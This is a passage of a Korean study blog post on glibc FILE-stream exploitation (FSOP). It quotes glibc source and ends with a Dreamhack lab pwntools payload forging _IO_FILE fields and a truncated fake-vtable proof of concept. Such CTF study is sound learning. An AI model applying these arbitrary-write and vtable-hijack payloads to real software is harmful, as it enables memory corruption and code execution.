TOOR

[TOOR] 22. FSOP

lmxx 2023. 10. 17. 22:43
728x90
반응형

glibc 의 FILE 구조체가 가지고 있는 vtable을 변경하는 등 파일 스트림을 이용해 프로그램의 흐름을 변경하는 기법

이지만 vtable 을 변경하는 것은 최근 버전에선 대부분 막혀있다.
그래서 요즘엔 그냥 파일 스트림을 변경한다.


로컬 버전은 glibc 2.35
따라서 실습은 glibc 2.35 기준으로 했다.

intro

dreamhack - Backgropund : _IO_FILE
https://dreamhack.io/lecture/courses/271

파일을 열 때 파일 접근 유형을 명시해야 한다.
대표적으로 읽기 및 쓰기 모드가 있다.
읽기 모드로 파일을 열고, 파일에 데이터를 작성하려하면 에러가 발생하지는 않지만 기능이 수행되지 않는다.
모든 파일 함수는 fopen 함수에서 반환한 파일 포인터를 인자로 전달받고, 기능을 수행하기에 앞서 파일 포인터를 참조해 파일 정보를 먼저 확인한다.
파일의 정보로는 파일이 어떤 모드로 열렸으며, 파일 작업을 수행하기 위한 함수의 주소가 포함된다.
따라서 파일 작업이 어떻게 이뤄지는지 알기 위해서는 파일 구조체를 이해하고 있어야 한다.

Dreamhack 실습

// Name: iofile.c // Compile: gcc -o iofile iofile.c #include <stdio.h> #include <string.h> #include <unistd.h> void file_info(FILE *buf) {   printf("_flags: %x\n", buf->_flags);   printf("_fileno: %d", buf->_fileno); } int main() {   FILE *fp;   char buf[256];   strcpy(buf, "THIS IS TESTFILE!");   fp = fopen("testfile", "w");   fwrite(buf, 1, strlen(buf), fp);   file_info(fp);   fclose(fp);   return 0; } 

드림핵에서 제공한 실습 코드이다


실행하면 다음과 같이 나온다.

_IO_FILE 구조체

// bootlin glibc 2.35 /libio/libio.h struct _IO_FILE {   int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */    /* The following pointers correspond to the C++ streambuf protocol. */   char *_IO_read_ptr;	/* Current read pointer */   char *_IO_read_end;	/* End of get area. */   char *_IO_read_base;	/* Start of putback+get area. */   char *_IO_write_base;	/* Start of put area. */   char *_IO_write_ptr;	/* Current put pointer. */   char *_IO_write_end;	/* End of put area. */   char *_IO_buf_base;	/* Start of reserve area. */   char *_IO_buf_end;	/* End of reserve area. */    /* The following fields are used to support backing up and undo. */   char *_IO_save_base; /* Pointer to start of non-current get area. */   char *_IO_backup_base;  /* Pointer to first valid character of backup area */   char *_IO_save_end; /* Pointer to end of non-current get area. */    struct _IO_marker *_markers;    struct _IO_FILE *_chain;    int _fileno;   int _flags2;   __off_t _old_offset; /* This used to be _offset but it's too small.  */    /* 1+column number of pbase(); 0 is unknown. */   unsigned short _cur_column;   signed char _vtable_offset;   char _shortbuf[1];    _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE }; 
   
_flags 파일에 대한 읽기/쓰기/추가 권한을 의미한다. 0xfbad0000 값을 매직 값으로, 하위 2바이트는 비트 플래그로 사용된다.
_IO_read_ptr 파일 읽기 버퍼에 대한 포인터
_IO_read_end 파일 읽기 버퍼 주소의 끝을 가리키는 포인터.
_IO_read_base 파일 쓰기 버퍼 주소의 시작을 가리키는 포인터.
_IO_write_base 파일 쓰기 버퍼 주소의 시작을 가리키는 포인터.
_IO_write_ptr 쓰기 버퍼에 대한 포인터.
_IO_write_end 파일 쓰기 버퍼 주소의 끝을 가리키는 포인터.
_chain 프로세스의 _IO_FILE 구조체는 _chain
_fileno 파일 디스크립터의 값이다.
_IO_jump_t *vtable 파일 관련 작업을 수행하는 가상 함수 테이블이다.

_IO_FILE : _flags

_flags 멤버 변수는 파일의 성질을 나타내는 필드이다.

해당 필드는 fopen 함수로 파일을 열 때 전달한 모드에 따라 값이 설정된다.

0xfbad2c84_IO_MAGIC 이라는 매직 넘버를 포함한 각 권한을 의미한다.

해당 값은 _IO_MAGIC (0xFBAD0000), _IO_NO_READS (0x0004) , _IO_LINKED (0x0080), _IO_TIED_PUT_GET (0x0400),_IO_CURRENTLY_PUTTING (0x0800),_IO_IS_FILEBUF (0x2000) 비트가 포함된 것을 알 수 있다.

// bootlin glibc 2.35 /libio/libio.h  #define _IO_MAGIC         0xFBAD0000 /* Magic number */ #define _IO_MAGIC_MASK    0xFFFF0000 #define _IO_USER_BUF          0x0001 /* Don't deallocate buffer on close. */ #define _IO_UNBUFFERED        0x0002 #define _IO_NO_READS          0x0004 /* Reading not allowed.  */ #define _IO_NO_WRITES         0x0008 /* Writing not allowed.  */ #define _IO_EOF_SEEN          0x0010 #define _IO_ERR_SEEN          0x0020 #define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close.  */ #define _IO_LINKED            0x0080 /* In the list of all open files.  */ #define _IO_IN_BACKUP         0x0100 #define _IO_LINE_BUF          0x0200 #define _IO_TIED_PUT_GET      0x0400 /* Put and get pointer move in unison.  */ #define _IO_CURRENTLY_PUTTING 0x0800 #define _IO_IS_APPENDING      0x1000 #define _IO_IS_FILEBUF        0x2000                            /* 0x4000  No longer used, reserved for compat.  */ #define _IO_USER_LOCK         0x8000 

_flags 멤버 변수는 fopen 함수로 파일을 열 때 전달한 모드에 따라 값이 설정된다.
아래는 fopen함수가 함수가 호출될 때 실행되는 내부 함수인 _IO_new_file_fopen 이다.

// bootlin glibc2.35 /libio/fileops.c FILE * _IO_new_file_fopen (FILE *fp, const char *filename, const char *mode, 		    int is32not64) {   int oflags = 0, omode;   int read_write;   int oprot = 0666;   int i;   FILE *result;   const char *cs;   const char *last_recognized;    if (_IO_file_is_open (fp))     return 0;   switch (*mode)     {     case 'r':       omode = O_RDONLY;       read_write = _IO_NO_WRITES;       break;     case 'w':       omode = O_WRONLY;       oflags = O_CREAT|O_TRUNC;       read_write = _IO_NO_READS;       break;     case 'a':       omode = O_WRONLY;       oflags = O_CREAT|O_APPEND;       read_write = _IO_NO_READS|_IO_IS_APPENDING;       break;    ... 
FILE * _IO_new_file_fopen (FILE *fp, const char *filename, const char *mode, 		    int is32not64) {   int oflags = 0, omode;   int read_write;   int oprot = 0666;   int i;   FILE *result;   const char *cs;   const char *last_recognized;    if (_IO_file_is_open (fp))     return 0;   switch (*mode)     {     case 'r':       omode = O_RDONLY;       read_write = _IO_NO_WRITES;       break;     case 'w':       omode = O_WRONLY;       oflags = O_CREAT|O_TRUNC;       read_write = _IO_NO_READS;       break;     case 'a':       omode = O_WRONLY;       oflags = O_CREAT|O_APPEND;       read_write = _IO_NO_READS|_IO_IS_APPENDING;       break;     default:       __set_errno (EINVAL);       return NULL;     }   last_recognized = mode;   for (i = 1; i < 7; ++i)     {       switch (*++mode) 	{ 	case '\0': 	  break; 	case '+': 	  omode = O_RDWR; 	  read_write &= _IO_IS_APPENDING; 	  last_recognized = mode; 	  continue; 	case 'x': 	  oflags |= O_EXCL; 	  last_recognized = mode; 	  continue; 	case 'b': 	  last_recognized = mode; 	  continue; 	case 'm': 	  fp->_flags2 |= _IO_FLAGS2_MMAP; 	  continue; 	case 'c': 	  fp->_flags2 |= _IO_FLAGS2_NOTCANCEL; 	  continue; 	case 'e': 	  oflags |= O_CLOEXEC; 	  fp->_flags2 |= _IO_FLAGS2_CLOEXEC; 	  continue; 	default: 	  /* Ignore.  */ 	  continue; 	}       break;     }    result = _IO_file_open (fp, filename, omode|oflags, oprot, read_write, 			  is32not64);    if (result != NULL)     {       /* Test whether the mode string specifies the conversion.  */       cs = strstr (last_recognized + 1, ",ccs=");       if (cs != NULL) 	{ 	  /* Yep.  Load the appropriate conversions and set the orientation 	     to wide.  */ 	  struct gconv_fcts fcts; 	  struct _IO_codecvt *cc; 	  char *endp = __strchrnul (cs + 5, ','); 	  char *ccs = malloc (endp - (cs + 5) + 3);  	  if (ccs == NULL) 	    { 	      int malloc_err = errno;  /* Whatever malloc failed with.  */ 	      (void) _IO_file_close_it (fp); 	      __set_errno (malloc_err); 	      return NULL; 	    }  	  *((char *) __mempcpy (ccs, cs + 5, endp - (cs + 5))) = '\0'; 	  strip (ccs, ccs);  	  if (__wcsmbs_named_conv (&fcts, ccs[2] == '\0' 				   ? upstr (ccs, cs + 5) : ccs) != 0) 	    { 	      /* Something went wrong, we cannot load the conversion modules. 		 This means we cannot proceed since the user explicitly asked 		 for these.  */ 	      (void) _IO_file_close_it (fp); 	      free (ccs); 	      __set_errno (EINVAL); 	      return NULL; 	    }  	  free (ccs);  	  assert (fcts.towc_nsteps == 1); 	  assert (fcts.tomb_nsteps == 1);  	  fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_read_end; 	  fp->_wide_data->_IO_write_ptr = fp->_wide_data->_IO_write_base;  	  /* Clear the state.  We start all over again.  */ 	  memset (&fp->_wide_data->_IO_state, '\0', sizeof (__mbstate_t)); 	  memset (&fp->_wide_data->_IO_last_state, '\0', sizeof (__mbstate_t));  	  cc = fp->_codecvt = &fp->_wide_data->_codecvt;  	  cc->__cd_in.step = fcts.towc;  	  cc->__cd_in.step_data.__invocation_counter = 0; 	  cc->__cd_in.step_data.__internal_use = 1; 	  cc->__cd_in.step_data.__flags = __GCONV_IS_LAST; 	  cc->__cd_in.step_data.__statep = &result->_wide_data->_IO_state;  	  cc->__cd_out.step = fcts.tomb;  	  cc->__cd_out.step_data.__invocation_counter = 0; 	  cc->__cd_out.step_data.__internal_use = 1; 	  cc->__cd_out.step_data.__flags = __GCONV_IS_LAST | __GCONV_TRANSLIT; 	  cc->__cd_out.step_data.__statep = &result->_wide_data->_IO_state;  	  /* From now on use the wide character callback functions.  */ 	  _IO_JUMPS_FILE_plus (fp) = fp->_wide_data->_wide_vtable;  	  /* Set the mode now.  */ 	  result->_mode = 1; 	}     }    return result; } 

코드를 살펴보면 fopen함수의 두 번째 인자인 mode 변수가 ‘r’, ’w’, ‘a’ 문자인지를 확인하고, 각 권한에 해당하는 비트가 할당된다.

더 자세히 보면.

read_write 뿐만이 아니라 omode 변수에 O_RDONLY , O_WRONLY 등의 값이 저장되는 것을 볼 수 있다.

fopen 함수는 결국 open 시스템 콜을 호출해 파일을 열게되는데, 이때 해당 시스템콜의 인자로 전달된다.

// bootlin glibc2.35 / libio/fileops.c result = _IO_file_open (fp, filename, omode|oflags, oprot, read_write, 			  is32not64); 

_IO_FILE : _read (임의의 주소에 데이터 입력 시 사용)

fread 함수의 경우 결국 read 함수를 참조하여 동작하는데,
read 함수의 구조는

read(f->_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base 

이며, 각 인자는 아래와 같이 사용가능하다.

fileno : 읽어들일 방식, 보통 표준 입력하면 되기에 0을 사용
_IO_buf_base : 입력을 시작할 주소
_IO_buf_end : 입력을 종료할 주소

유의사항

  • _flags 값은 0xfbad2488 이어야 한다.
  • 만약 100 byte로 선언된 buffer 변수에 overwrite 하기 위해서는 _IO_buf_end > _IO_buf_base + 100 이어야 한다.
  • 삽입되는 값의 크기는 data = _IO_buf_end - _IO_buf_base 이어야 한다.

_IO_FILE : _write

fwrite 함수의 경우 결국 write 함수를 참조하여 동작하는데,

write 함수의 구조는 아래와 같다

write(f->_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base 

각 인자는 다음과 같이 사용 가능하다.
fileno : 출력 방식, 보통 표준 출력하면 되기에 1을 사용
_IO_buf_base : 출력을 시작할 주소
_IO_buf_end : 출력을 종료할 주소

유의사항

  • _flag 값은 보통 0xfbad1000 를 쓴다.
  • _IO_read_end 에는 값이 있어야하며, _IO_write_base 와 같은 값을 삽입하면 된다.

_IO_FILE : _buf (stdin으로 값을 삽입하거나 stdout 으로 출력 시 사용)

stdin / stdout 함수 또한 _IO_FILE 구조체를 따른다.
특히 stdin 구조체의 buf_base 변수가 변경되어 있다면.

fgets(buf, size, stdin) 

위와 같이 값을 입력 받을 때 buf 변수가 아닌 변조된 buf_base 주소에 값을 써버린다.

특이사항

  • _flags 값은 보통 0xfbad208b 를 쓴다.
  • buf_end 는 당연히 buf_base 보다 커야한다.

_IO_FILE: vtable

_IO_FILE 구조체가 포함된 _IO_FILE_plus 구조체를 살펴보면 vtable 포인터가 존재하는 것을 확인할 수 있다.

Virtual fucntion Table (vtable)은 객체 지향 프로그래밍 언어에서 클래스를 정의하고 가상 함수를 사용할 때 할당되는 테이블이다.

vtable 구조체라고 불리지만 사실은 _IO_jump_t 구조체가 맞다.

이는 메모리에 가상 함수를 담을 영역을 할당하고, 함수의 주소를 기록한다.

가상 함수를 사용하면 해당 테이블을 기준으로 상대 주소를 통해 호출한다.

파일 구조체는 각 파일마다_IO_FILE 구조체 뿐만 아니라 함수 테이블을 가지고 있다.

vtable 변수는 객체 지향 프로그래밍에서 사용하는 테이블과 비슷하게 구현되어 있으며 파일 함수를 호출하면 해당 테이블을 참조하고, 실제 기능을 수행하는 함수를 호출한다.

아래는 파일 함수의 테이블을 정의한 _IO_jump_t 구조체의 모습이다.

구조체를 살펴보면, 16바이트 크기의 더미 바이트를 포함해 다양한 함수가 정의된 것을 확인할 수 있다.

디버깅을 통해 fopen 함수로부터 반환된 파일 포인터의 vtable 모습을 확인한결과

 


fopen으로 반환된 파일 포인터는 heap영역에 존재한다

아래는 stdin 에서 찾은 _IO_FILE_plus 구조체이다.


vtable은 아래와 같다.

 

_IO_FILE_plus
struct _IO_FILE_plus {   FILE file;   const struct _IO_jump_t *vtable; }; 
_IO_jump_t
struct _IO_jump_t {     JUMP_FIELD(size_t, __dummy);     JUMP_FIELD(size_t, __dummy2);     JUMP_FIELD(_IO_finish_t, __finish);     JUMP_FIELD(_IO_overflow_t, __overflow);     JUMP_FIELD(_IO_underflow_t, __underflow);     JUMP_FIELD(_IO_underflow_t, __uflow);     JUMP_FIELD(_IO_pbackfail_t, __pbackfail);     /* showmany */     JUMP_FIELD(_IO_xsputn_t, __xsputn);     JUMP_FIELD(_IO_xsgetn_t, __xsgetn);     JUMP_FIELD(_IO_seekoff_t, __seekoff);     JUMP_FIELD(_IO_seekpos_t, __seekpos);     JUMP_FIELD(_IO_setbuf_t, __setbuf);     JUMP_FIELD(_IO_sync_t, __sync);     JUMP_FIELD(_IO_doallocate_t, __doallocate);     JUMP_FIELD(_IO_read_t, __read);     JUMP_FIELD(_IO_write_t, __write);     JUMP_FIELD(_IO_seek_t, __seek);     JUMP_FIELD(_IO_close_t, __close);     JUMP_FIELD(_IO_stat_t, __stat);     JUMP_FIELD(_IO_showmanyc_t, __showmanyc);     JUMP_FIELD(_IO_imbue_t, __imbue); }; 

_IO_FILE_plus 구조체에서 _IO_FILE_plus + 8 byte 위치에 있는 값이며,

_IO_FILE_ 구조체 기준으로는 _IO_FILE + 0xd8 위치의 값이다.

vtable 의 값은 offset을 더하기 위한 기준 값이 된다.

vtable 값은 호출할 함수의 주소를 담고 있는 주소여야 한다.

vtable 값 = system 함수의 주소를 값으로 가진 주소 - offset
이여야 한다.

_IO_FILE : vtable 호출 과정
  • glibc 2.35
    _IO_jump_t 구조체에 어떻게 접근하는지 알아보기 위해 fread 함수의 호출 과정을 통해 알아보자.fread 함수는 _IO_fread 함수와 동일하게 정의되었다.해당 함수 내부에서 _IO_sgetn 함수를 호출한다._IO_sgetn함수의 구현체로 _IO_XSGETN을 호출한다.
    #define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2) 
    # define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS))) 
    vtable 변수를 참조하는 것을 확인할 수 있다.
  • #define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
  • size_t _IO_sgetn (FILE *fp, void *data, size_t n) { /* FIXME handle putback buffer here! */ return _IO_XSGETN (fp, data, n); }
  • size_t _IO_fread (void *buf, size_t size, size_t count, FILE *fp) { size_t bytes_requested = size * count; size_t bytes_read; CHECK_FILE (fp, 0); if (bytes_requested == 0) return 0; _IO_acquire_lock (fp); bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested); _IO_release_lock (fp); return bytes_requested == bytes_read ? count : bytes_read / size; }
  • #include <libio/iolibio.h> #define fread(p, m, n, s) _IO_fread (p, m, n, s)
  • glibc 2.27
    struct _IO_FILE {   int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags    /* The following pointers correspond to the C++ streambuf protocol. */   /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */   char* _IO_read_ptr;	/* Current read pointer */   char* _IO_read_end;	/* End of get area. */   char* _IO_read_base;	/* Start of putback+get area. */   char* _IO_write_base;	/* Start of put area. */   char* _IO_write_ptr;	/* Current put pointer. */   char* _IO_write_end;	/* End of put area. */   char* _IO_buf_base;	/* Start of reserve area. */   char* _IO_buf_end;	/* End of reserve area. */   /* The following fields are used to support backing up and undo. */   char *_IO_save_base; /* Pointer to start of non-current get area. */   char *_IO_backup_base;  /* Pointer to first valid character of backup area */   char *_IO_save_end; /* Pointer to end of non-current get area. */    struct _IO_marker *_markers;    struct _IO_FILE *_chain;    int _fileno; #if 0   int _blksize; #else   int _flags2; #endif   _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */  #define __HAVE_COLUMN /* temporary */   /* 1+column number of pbase(); 0 is unknown. */   unsigned short _cur_column;   signed char _vtable_offset;   char _shortbuf[1];    /*  char* _save_gptr;  char* _save_egptr; */    _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE }; 
    _IO_FILE 구조체는 vtable 구조체와 함께한다.
    struct _IO_jump_t {     JUMP_FIELD(size_t, __dummy);     JUMP_FIELD(size_t, __dummy2);     JUMP_FIELD(_IO_finish_t, __finish);     JUMP_FIELD(_IO_overflow_t, __overflow);     JUMP_FIELD(_IO_underflow_t, __underflow);     JUMP_FIELD(_IO_underflow_t, __uflow);     JUMP_FIELD(_IO_pbackfail_t, __pbackfail);     /* showmany */     JUMP_FIELD(_IO_xsputn_t, __xsputn);     JUMP_FIELD(_IO_xsgetn_t, __xsgetn);     JUMP_FIELD(_IO_seekoff_t, __seekoff);     JUMP_FIELD(_IO_seekpos_t, __seekpos);     JUMP_FIELD(_IO_setbuf_t, __setbuf);     JUMP_FIELD(_IO_sync_t, __sync);     JUMP_FIELD(_IO_doallocate_t, __doallocate);     JUMP_FIELD(_IO_read_t, __read);     JUMP_FIELD(_IO_write_t, __write);     JUMP_FIELD(_IO_seek_t, __seek);     JUMP_FIELD(_IO_close_t, __close);     JUMP_FIELD(_IO_stat_t, __stat);     JUMP_FIELD(_IO_showmanyc_t, __showmanyc);     JUMP_FIELD(_IO_imbue_t, __imbue); #if 0     get_column;     set_column; #endif }; 
    const struct _IO_jump_t _IO_str_jumps libio_vtable = {   JUMP_INIT_DUMMY,   JUMP_INIT(finish, _IO_str_finish),   JUMP_INIT(overflow, _IO_str_overflow),   JUMP_INIT(underflow, _IO_str_underflow),   JUMP_INIT(uflow, _IO_default_uflow),   JUMP_INIT(pbackfail, _IO_str_pbackfail),   JUMP_INIT(xsputn, _IO_default_xsputn),   JUMP_INIT(xsgetn, _IO_default_xsgetn),   JUMP_INIT(seekoff, _IO_str_seekoff),   JUMP_INIT(seekpos, _IO_default_seekpos),   JUMP_INIT(setbuf, _IO_default_setbuf),   JUMP_INIT(sync, _IO_default_sync),   JUMP_INIT(doallocate, _IO_default_doallocate),   JUMP_INIT(read, _IO_default_read),   JUMP_INIT(write, _IO_default_write),   JUMP_INIT(seek, _IO_default_seek),   JUMP_INIT(close, _IO_default_close),   JUMP_INIT(stat, _IO_default_stat),   JUMP_INIT(showmanyc, _IO_default_showmanyc),   JUMP_INIT(imbue, _IO_default_imbue) }; 
  • struct _IO_FILE_plus { _IO_FILE file; const struct _IO_jump_t *vtable; };

FSOP

FSOP 는 앞에서 보았듯이 파일에 쓰거나 읽을 때 사용하는 file stream 을 이용하는 기법이다 .

아래는 예제 코드이다

// Name: iofile_aaw // gcc -o iofile_aaw iofile_aaw.c -no-pie   #include <stdio.h> #include <unistd.h> #include <string.h> char account_buf[1024]; int overwrite_me; void init() {   setvbuf(stdin, 0, 2, 0);   setvbuf(stdout, 0, 2, 0); } int read_account() { 	FILE *fp; 	fp = fopen("/etc/passwd", "r"); 	fread(account_buf, sizeof(char), sizeof(account_buf), fp); 	write(1, account_buf, sizeof(account_buf)); 	fclose(fp); } int main() {   FILE *fp;   char file_buf[1024];   init();   fp = fopen("/etc/issue", "r");   printf("Data: ");   read(0, fp, 300);   fread(file_buf, 1, sizeof(file_buf)-1, fp);   printf("%s", file_buf);   if( overwrite_me == 0xDEADBEEF)    	read_account();   fclose(fp); } 

FILE * fp; 파일포인터를 선언하고

fread 를 사용한다 overwrite_me0xDEADBEEF 로 덮어야 한다.

파일 읽기 과정

_IO_fread(_IO_sgetn)_IO_file_xsgetn(__underflow)_IO_new_file_underflow

콜 스택에서 ()를 확인할 수 없는 이유는 JMP 코드로 _IO_new_file_underflow로 뛰었기 때문이다.

fread 에서 _IO_sgetn 을 지나서


_IO_file_xsgetn의 glibc 코드를 보면

_IO_size_t _IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n) {   _IO_size_t want, have;   _IO_ssize_t count;   char *s = data;    want = n;    if (fp->_IO_buf_base == NULL)     {       /* Maybe we already have a push back pointer.  */       if (fp->_IO_save_base != NULL) 	{ 	  free (fp->_IO_save_base); 	  fp->_flags &= ~_IO_IN_BACKUP; 	}       _IO_doallocbuf (fp);     }    while (want > 0)     {       have = fp->_IO_read_end - fp->_IO_read_ptr;       if (want <= have) 	{ 	  memcpy (s, fp->_IO_read_ptr, want); 	  fp->_IO_read_ptr += want; 	  want = 0; 	}       else 	{ 	  if (have > 0) 	    { 	      s = __mempcpy (s, fp->_IO_read_ptr, have); 	      want -= have; 	      fp->_IO_read_ptr += have; 	    }  	  /* Check for backup and repeat */ 	  if (_IO_in_backup (fp)) 	    { 	      _IO_switch_to_main_get_area (fp); 	      continue; 	    }  	  /* If we now want less than a buffer, underflow and repeat 	     the copy.  Otherwise, _IO_SYSREAD directly to 	     the user buffer. */ 	  if (fp->_IO_buf_base 	      && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)) 	    { 	      if (__underflow (fp) == EOF) 		break;  	      continue; 	    }  	  /* These must be set before the sysread as we might longjmp out 	     waiting for input. */ 	  _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base); 	  _IO_setp (fp, fp->_IO_buf_base, fp->_IO_buf_base);  	  /* Try to maintain alignment: read a whole number of blocks.  */ 	  count = want; 	  if (fp->_IO_buf_base) 	    { 	      _IO_size_t block_size = fp->_IO_buf_end - fp->_IO_buf_base; 	      if (block_size >= 128) 		count -= want % block_size; 	    }  	  count = _IO_SYSREAD (fp, s, count); 	  if (count <= 0) 	    { 	      if (count == 0) 		fp->_flags |= _IO_EOF_SEEN; 	      else 		fp->_flags |= _IO_ERR_SEEN;  	      break; 	    }  	  s += count; 	  want -= count; 	  if (fp->_offset != _IO_pos_BAD) 	    _IO_pos_adjust (fp->_offset, count); 	}     }    return n - want; } 

위와 같고.

 _IO_size_t _IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n) { 	_IO_size_t want, have; 	want = n; 	... 	if (fp->_IO_buf_base 		      && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)) 		    { 		      if (__underflow (fp) == EOF) 			break; 	 		      continue; 		    } 

인자인 n (want) 이 _IO_buf_end - _IO_buf_base 값 보다 작은지 검사하고 __underflow 를 호출한다.


__underflow 함수에서


_IO_new_file_underflow 함수를 호출한다.

__underflow (_IO_FILE *fp) {   if (_IO_vtable_offset (fp) == 0 && _IO_fwide (fp, -1) != -1)     return EOF;    if (fp->_mode == 0)     _IO_fwide (fp, -1);   if (_IO_in_put_mode (fp)) 

fp_IO_new_file_underflow 함수의 포인터가 들어가있다.

  • _IO_new_file_underflow
    int _IO_new_file_underflow (_IO_FILE *fp) {   _IO_ssize_t count; #if 0   /* SysV does not make this test; take it out for compatibility */   if (fp->_flags & _IO_EOF_SEEN)     return (EOF); #endif    if (fp->_flags & _IO_NO_READS)     {       fp->_flags |= _IO_ERR_SEEN;       __set_errno (EBADF);       return EOF;     }   if (fp->_IO_read_ptr < fp->_IO_read_end)     return *(unsigned char *) fp->_IO_read_ptr;    if (fp->_IO_buf_base == NULL)     {       /* Maybe we already have a push back pointer.  */       if (fp->_IO_save_base != NULL) 	{ 	  free (fp->_IO_save_base); 	  fp->_flags &= ~_IO_IN_BACKUP; 	}       _IO_doallocbuf (fp);     }    /* Flush all line buffered files before reading. */   /* FIXME This can/should be moved to genops ?? */   if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))     { #if 0       _IO_flush_all_linebuffered (); #else       /* We used to flush all line-buffered stream.  This really isn't 	 required by any standard.  My recollection is that 	 traditional Unix systems did this for stdout.  stderr better 	 not be line buffered.  So we do just that here 	 explicitly.  --drepper */       _IO_acquire_lock (_IO_stdout);        if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF)) 	  == (_IO_LINKED | _IO_LINE_BUF)) 	_IO_OVERFLOW (_IO_stdout, EOF);        _IO_release_lock (_IO_stdout); #endif     }    _IO_switch_to_get_mode (fp);    /* This is very tricky. We have to adjust those      pointers before we call _IO_SYSREAD () since      we may longjump () out while waiting for      input. Those pointers may be screwed up. H.J. */   fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;   fp->_IO_read_end = fp->_IO_buf_base;   fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end     = fp->_IO_buf_base;    count = _IO_SYSREAD (fp, fp->_IO_buf_base, 		       fp->_IO_buf_end - fp->_IO_buf_base);   if (count <= 0)     {       if (count == 0) 	fp->_flags |= _IO_EOF_SEEN;       else 	fp->_flags |= _IO_ERR_SEEN, count = 0;   }   fp->_IO_read_end += count;   if (count == 0)     {       /* If a stream is read to EOF, the calling application may switch active 	 handles.  As a result, our offset cache would no longer be valid, so 	 unset it.  */       fp->_offset = _IO_pos_BAD;       return EOF;     }   if (fp->_offset != _IO_pos_BAD)     _IO_pos_adjust (fp->_offset, count);   return *(unsigned char *) fp->_IO_read_ptr; } 
 count = _IO_SYSREAD (fp, fp->_IO_buf_base, 		       fp->_IO_buf_end - fp->_IO_buf_base); 

_IO_new_file_underflow 안을 보면 _IO_SYSREAD 가 있다.

_IO_SYSREAD ( fp, fp -> _IO_buf_base, fp -> _IO_buf_end - fp -> _IO_buf_base);

_IO_ssize_t _IO_file_read (_IO_FILE *fp, void *buf, _IO_ssize_t size) {   return (__builtin_expect (fp->_flags2 & _IO_FLAGS2_NOTCANCEL, 0) 	  ? __read_nocancel (fp->_fileno, buf, size) 	  : __read (fp->_fileno, buf, size)); } 

위 코드를 실행하기 까지의 조건문들은 다음과 같다.

if (fp -> _flags & _IO_NO_READS)... if (fp -> _IO_read_ptr < fp -> _IO_read_end)... if (fp -> _IO_buf_base == NULL)... if (fp -> _flags & (_IO_LINE_BUF | _IO_UNBUFFERED))... 

_flags_IO_NO_READS 가 아닐떄 ,

_IO_read_end보다 _IO_read_ptr을 더 크게 준다. (0도 가능)

bufbase가 Null이 아니면 되고 ( eof가 나지는 않음)

_flags _IO_LINE_BUF | _IO_UNBUFFERED 가 설정되어 있는지 확인.

_IO_SYSREAD ( fp, fp -> _IO_buf_base, fp -> _IO_buf_end - fp -> _IO_buf_base); 
__read (fp->_fileno, buf, size)); 

read(_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base);

_fileno → 0, _IO_buf_base → &overwrite_me, len = _IO_buf_end - _IO_buf_base = 0x100

payload
from pwn import *  ip = 'host3.dreamhack.games' port = 14329  p = remote(ip,port) elf = ELF('./iofile_aaw')  overwrite_me = elf.symbols['overwrite_me']  payload = p64(0xfbad2488) payload += p64(0) # _IO_read_ptr payload += p64(0) # _IO_read_end payload += p64(0) # _IO_read_base  payload += p64(0) # _IO_write_base payload += p64(0) # _IO_write_ptr payload += p64(0) # _IO_write_end payload += p64(overwrite_me) # _IO_buf_base payload += p64(overwrite_me + 1024) # _IO_buf_end payload += p64(0) # _IO_save_Base payload += p64(0) # _IO_backup_base payload += p64(0) # _IO_save_end payload += p64(0) # _markers payload += p64(0) #_chain payload += p64(0) # _fileno  p.sendline(payload) p.sendline(p64(0xDEADBEEF) + b"\\x00"*1024) p.interactive() 

따라서 페이로드는 다음과 같다.

FSOP 변천사

oz1ng 님의 SecurityFirst 팀 세미나 발표를 듣고 기록한 것 입니다.
아래의 모든 poc 코드들은 oz1ng 님이 작성한 것입니다.
문제시 oz1ng 님한테 물어봄.

glibc 2.23 이전의 fsop

// glibc 2.23 <= version  #define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)   #define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)   #define _IO_JUMPS_FUNC(THIS) _IO_JUMPS_FILE_plus (THIS) 

glibc 2.23 이하 버전까지는 vtable 에 대한 유효성 검사가 없어서 fake vtable overwrite 공격이 가능했다.

// gcc fake_vtable_overwrite.c -o fake_vtable_overwrite -no-pie  #include <stdio.h>  #include <stdlib.h>  #include <string.h>  #include <stdint.h>   void hacked(const char * cmd) {    printf("[+] Success : %s\n", cmd);  }   int main() {    char * fake_vtable = malloc(0x100);    printf("[+] Create fake_vtable: %p\n", fake_vtable);     size_t hacked_addr = (size_t)&hacked;    printf("[+] Get hacked func address: %p\n", hacked_addr);     memcpy(fake_vtable+0x60, &hacked_addr, 4);    printf("[+] Set fake_vtable->__sync to hacked func address: %p, %p\n", (uint64_t)fake_vtable+0x60, *(uint64_t*)(fake_vtable+0x60));     memcpy(&stderr->_flags, "/bin/sh\x00", 8);    printf("[+] Set stderr->_flags to '/bin/sh' stings: %s\n", &stderr->_flags);     stderr->_mode = 0;    printf("[+] Set stderr->_mode to 0\n");     